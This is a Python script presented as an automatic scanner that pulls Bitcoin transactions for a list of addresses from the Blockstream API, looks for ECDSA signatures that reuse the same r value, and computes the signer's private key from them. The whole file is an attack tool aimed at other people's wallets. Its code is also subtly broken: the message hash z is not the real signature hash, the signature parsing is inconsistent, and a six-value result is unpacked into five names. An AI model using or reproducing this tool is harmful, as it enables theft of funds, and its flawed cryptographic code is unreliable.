main.py

import time
from sympy import GF, mod_inverse
from bitcoinlib.keys import Key
from hashlib import sha256
import requests

description = f"""
 Transactions Scanner for RSZ Vulnerability
 For performing the Random vulnerability
 Recovering Bitcoin private keys using weak signatures with random vulnerability from the blockchain.
 With automatic scanner of transactions 
"""

def get_tx_data(txid, max_retries=5, backoff_factor=2, timeout=10):
    """
    Fetch transaction data from Blockstream API with retry on 429 status (rate limit).
    :param txid: Transaction ID to fetch data for.
    :param max_retries: Maximum number of retries in case of a rate limit error.
    :param backoff_factor: Exponential backoff multiplier.
    :param timeout: Timeout for each request in seconds.
    :return: JSON data of the transaction or None if the request fails.
    """
    url = f"https://blockstream.info/api/tx/{txid}"
    retries = 0
    
    while retries < max_retries:
        try:
            response = requests.get(url, timeout=timeout)
            
            if response.status_code == 200:
                return response.json()
            elif response.status_code == 429:
                # Handle rate-limited error (429)
                retries += 1
                wait_time = backoff_factor ** retries  # Exponential backoff
                print(f"Rate-limited (429). Retrying in {wait_time} seconds...")
                time.sleep(wait_time)
            else:
                # Handle other errors (non-429 status codes)
                print(f"Error fetching transaction data: {response.status_code}")
                break
        except requests.exceptions.Timeout:
            # Handle timeout exception
            print(f"Timeout error fetching transaction {txid}. Retrying...")
            retries += 1
            wait_time = backoff_factor ** retries
            print(f"Retrying in {wait_time} seconds...")
            time.sleep(wait_time)
        except requests.exceptions.RequestException as e:
            # Handle any other request-related errors (e.g., network issues)
            print(f"Error fetching transaction data: {e}")
            break
    
    # If all retries fail or another error occurs
    return None

def extract_r_s_z_from_tx(json_data):
    """
    Extract R, S, and Z values from the given transaction JSON.
    :param json_data: JSON object containing the transaction details.
    :return: List of dictionaries with R, S, and Z values for each input.
    """
    results = []
    
    for vin in json_data["vin"]:
        script_sig = vin.get("scriptsig", "")
        
        if not script_sig or len(script_sig) < 10:
            continue
        
        try:
            der_signature_hex = script_sig[2:]
            
            if len(der_signature_hex) < 10:
                raise ValueError("Invalid DER signature length.")
            
            r_length = int(der_signature_hex[2:4], 16) * 2
            r = der_signature_hex[4:r_length+4]
            s_length_start = r_length + 4
            s_length = int(der_signature_hex[s_length_start:s_length_start + 2], 16) * 2
            s = der_signature_hex[s_length_start + 2:s_length_start + 2 + s_length]
            
            print(f"Extracted r: {r}, s: {s}")
            
            txid = vin.get("txid", "")
            vout = vin.get("vout", 0)
            message = f"{txid}:{vout}"
            z = sha256(message.encode()).hexdigest()
            
            results.append({
                "R": r,
                "S": s,
                "Z": z
            })
        except Exception as e:
            print(f"Error parsing signature for input: {e}")
            print(f"scriptSig: {script_sig}")
            
    return results

def check_for_signature_reuse(tx_data):
    """
    Check for signature reuse (same r value) across different inputs.
    :param tx_data: JSON object containing transaction details.
    :return: Tuple with vulnerability details if a vulnerability is detected.
    """
    inputs = tx_data.get("vin", [])
    seen_r_values = {}
    
    for vin in inputs:
        script_sig = vin.get("scriptsig", "")
        if not script_sig:
            continue
        
        try:
            r_start = 2
            r_length = int(script_sig[2:4], 16) * 2
            r_value = script_sig[r_start:r_start + r_length]
            
            if not r_value:
                print(f"Skipping input with invalid R value: {r_value}")
                continue
            
            s_start = r_start + r_length
            s_length = int(script_sig[s_start:s_start + 2], 16) * 2
            s_value = script_sig[s_start + 2:s_start + 2 + s_length]
            
            if not s_value:
                print(f"Skipping input with invalid S value: {s_value}")
                continue
            
            z_value = vin.get("txid")
            
            if r_value in seen_r_values:
                r = r_value
                s1 = seen_r_values[r_value]["s"]
                s2 = s_value
                z1 = seen_r_values[r_value]["z"]
                z2 = z_value
                
                p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
                s_diff = int(s1, 16) - int(s2, 16)
                if s_diff == 0:
                    raise ValueError("Division by zero in private key calculation.")
                
                r_int = int(r, 16)
                s1_int = int(s1, 16)
                s2_int = int(s2, 16)
                z1_int = int(z1, 16)
                z2_int = int(z2, 16)
                
                s_diff_inv = mod_inverse(s_diff, p)
                numerator = (z1_int * s2_int - z2_int * s1_int) % p
                private_key = (numerator * mod_inverse(r_int, p) * s_diff_inv) % p
                
                private_key_hex = hex(private_key)[2:].zfill(64)
                
                return (r, s1, s2, z1, z2, private_key_hex)
            else:
                seen_r_values[r_value] = {"s": s_value, "z": z_value}
        
        except Exception as e:
            print(f"Error processing input: {e}")
    
    return None

def scan_address_for_vulnerabilities(address, tx_count, delay=1):
    """
    Scan all transactions associated with a Bitcoin address for vulnerabilities.
    :param address: Bitcoin address to scan.
    :param tx_count: Number of transactions to scan.
    :param delay: Delay (in seconds) between API requests to avoid rate limiting.
    :return: None.
    """
    url = f"https://blockstream.info/api/address/{address}/txs"
    transaction_count = 0
    
    while url and transaction_count < tx_count:
        try:
            response = requests.get(url)
            
            if response.status_code == 200:
                tx_list = response.json()
                
                if isinstance(tx_list, list):
                    for tx in tx_list:
                        if transaction_count >= tx_count:
                            break
                        
                        print(f"Scanning transaction {tx['txid']}...")
                        tx_data = get_tx_data(tx['txid'])
                        
                        if tx_data:
                            vulnerability = check_for_signature_reuse(tx_data)
                            if vulnerability:
                                r, s1, s2, z1, z2 = vulnerability
                                print(f"Vulnerability detected in transaction {tx['txid']}:")
                                print(f"r: {r}, s1: {s1}, s2: {s2}, z1: {z1}, z2: {z2}")
                            else:
                                print(f"No vulnerabilities found in transaction {tx['txid']}.")
                        
                        transaction_count += 1
                    
                    if isinstance(tx_list, dict) and 'next' in tx_list:
                        url = tx_list['next']
                else:
                    print(f"Error: Expected a list but got {type(tx_list)}")
                    break
            else:
                print(f"Error fetching transactions for address: {address}")
                break
        except requests.exceptions.RequestException as e:
            print(f"Error fetching transactions for address: {address} - {e}")
            break

def scan_addresses_from_python_file(file_path, tx_count, delay=1):
    """
    Scan all transactions associated with a list of Bitcoin addresses from a Python file for vulnerabilities.
    :param file_path: Path to the Python file containing a list of Bitcoin addresses.
    :param tx_count: Number of transactions to scan for each address.
    :param delay: Delay (in seconds) between API requests to avoid rate limiting.
    :return: None.
    """
    # Import the addresses from the Python file
    import importlib.util
    spec = importlib.util.spec_from_file_location("addresses", file_path)
    addresses_module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(addresses_module)
    
    addresses = addresses_module.addresses
    
    for address in addresses:
        address = address.strip()  # Remove any leading/trailing whitespace
        print(f"Scanning address {address}...")
        scan_address_for_vulnerabilities(address, tx_count, delay)

# Replace with your file path and transaction count
file_path = input("Enter the path to your Python addresses file: ")
tx_count = int(input("Enter the number of transactions to scan for each address: "))
scan_addresses_from_python_file(file_path, tx_count)